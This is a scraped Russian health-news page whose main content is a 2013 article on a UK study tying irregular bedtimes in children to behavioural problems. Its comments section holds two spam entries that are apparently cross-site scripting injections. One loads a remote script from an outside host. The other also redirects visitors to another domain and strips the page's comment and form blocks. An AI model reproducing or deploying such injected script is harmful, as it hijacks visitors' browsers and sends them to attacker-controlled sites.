Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ребенок плохо себя ведет?...  >>  Ребенок плохо себя ведет? Надо уложить его спать
 
Обратная связь
 

Ребенок плохо себя ведет? Надо уложить его спать

Размер шрифта
25 декабря 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Ученые из Соединенного Королевства обнаружили, что нерегулярный режим сна приводит к проблемному поведению у детей.

Ребенок плохо себя ведет? Надо уложить его спать

Эксперты считают, что в детском возрасте нерегулярный сон отрицательно влияет на созревание нервной системы и приводит к сопутствующим проблемам в поведенческой сфере.

«Нерегулярная структура ночного сна у детей приводит к схожим последствиям, что и джет-лаг (состояние после длительного авиаперелета, – прим. Zdorovieinfo.ru)», – рассказывает Айвонн Келли, профессор Университетского колледжа в Лондоне. «Полноценное развитие ребенка является базисом для здорового функционирования организма на протяжении всей жизни. Нервная система, в частности, активно развивается во время некоторых фаз ночного сна, поэтому прерывание их не может не оказывать негативное влияние на тонкий процесс неврологического созревания».

Ученые проанализировали данные, касающиеся более чем 10 000 детей. Особое внимание было уделено режиму сна в возрасте трех, пяти и семи лет. Другой важнейший пласт информации – анкеты для педагогов и родителей, вопросы в которых были посвящены особенностями поведения ребенка.

Авторы обнаружили достоверную статистическую связь между нарушениями суточных циркадианных ритмов и степенью выраженности проблем в области поведения. При этом с годами ситуация лишь усугублялась: гиперактивность, трудности в общении со сверстниками и взрослыми, эмоциональные проблемы – все это становилось более выраженным с течением времени. Урегулирование режима  сна, впрочем, зачастую приводило к быстрой коррекции этих проблем.

«Это очень важно! Мы обнаружили проблему, но также и доказали, что она носит обратимый характер», – говорит профессор Келли.

Ученые отмечают, что хуже всего с режимом сна дело обстоит у детей трехлетнего возраста: каждый пятый ребенок ложится спать в неодинаковое время. К семи годам, однако, ситуация несколько выправляется.

«Обнаруженная нами закономерность свидетельствует о том, что вопросы касательно режима дня должны стать обязательными при рутинном визите к врачу», – утверждает Келли. «Сон является жизненно важным процессом для развития центральной нервной системы, поэтому легкомысленное отношение к этой сфере жизни может привести к весьма неприятным последствиям в долгосрочной перспективе».

Другие материалы, которые помогут повысить вашу родительскую грамотность, ищите на страницах нашего специального проекта «Ребенок будет»

Результаты данного исследования были опубликованы в журнале Pediatrics.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:49

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:48

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Во сколько ложиться спать, чтобы не попасть в аварию? Вы удивитесь!   Как прикорнуть и зарядиться энергией на день   Как правильно спать   Как выспаться  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 15 июля 2013Сколько нужно спать, чтобы помнить все
 
11 июля 2013Ворочаетесь по ночам? У вас в два раза больше шансов умереть раньше! 08 июля 2013Теперь можно выбрать, какой ребенок у вас будет! ЭКО открывает новые горизонты
 

Слайдшоу

1
Как спать с бронхитом
Как провести день, чтобы выспаться
Как студенческая жизнь влияет на здоровье

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.